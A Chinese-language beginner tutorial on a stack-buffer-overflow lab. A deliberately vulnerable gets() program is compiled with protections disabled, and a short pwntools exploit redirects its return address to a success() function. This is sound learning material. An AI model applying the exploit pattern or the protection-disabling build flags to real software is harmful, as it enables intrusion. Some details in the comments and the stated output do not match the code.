第一个pwn案例---栈溢出的学习

第一个pwn案例—栈溢出的学习

漏洞:利用gets()函数以回车判断输入结束,并不检查输入字符串长度的特点,
将函数返回地址改写成期望执行的函数地址

在64位条件下进行实验:

1.准备好测试的程序

#include 
#include 
void success()
{
puts("You have already controled me.");
}
void vulnerable()
{
char s[12];
gets(s);
puts(s);
}
int main()
{
vulnerable();
return 0;
}

2.gcc编译该程序

  • 编译前先了解一些gcc的编译参数:
    NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
    Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
    PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
    RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限

原文链接:点击此处

编译命令行如下:关闭Canary和PIE

gcc -fno-stack-protector -no-pie -z norelro test.c -o test
  • 编译该程序
    第一个pwn案例---栈溢出的学习_第1张图片

  • 尝试运行一下编译好的程序

./test

第一个pwn案例---栈溢出的学习_第2张图片

  • 用pwntool中的checksec检查一下文件

第一个pwn案例---栈溢出的学习_第3张图片

可以看到[Canary、PIE和RELRO]已经关闭

  • 把程序拉到IDA Pro中看一看
    第一个pwn案例---栈溢出的学习_第4张图片
    可以看到一个==vulnerable();==函数
    双击进入此函数
    第一个pwn案例---栈溢出的学习_第5张图片
    看到危险函数gets(s);
    可以利用栈溢出的原理填充栈,让return返回一个我们想要的[函数]去.

接下来进入栈空间看看我们需要填充的无用数据的大小
第一个pwn案例---栈溢出的学习_第6张图片
s是gets函数开始的地址
需要覆盖的大小是 0x0c - 0x00
然后r上弹回success函数的地址

  • 看一下success函数的地址
  • 第一个pwn案例---栈溢出的学习_第7张图片
    success的地址是 0x401132

所有的准备工作都做完了,开始学exp

  • exp如下:
from pwn import *
p=process('./test')

#与程序进行交互
success_addr= 0x401132
#函数地址前要用16进制的格式 0x401132 不然后续还会出现问题

#利用IDA分析可以看到success函数的地址

payload = b'a' * (0x0c + 8)
payload = payload + p64(0x401132)
#!在IDA中查看栈的结构得到字符串s被分配了0x10大小的内存长度,8位a覆
#盖基址指针的值,最后将返回地址覆盖成success函数地址
p.sendline(payload)
p.interactive()
  • 保存为exp.py
  • 在终端运行即可
    第一个pwn案例---栈溢出的学习_第8张图片
    得到最终想要的结果:You have already controled it.

你可能感兴趣的:(Pwn,pwn)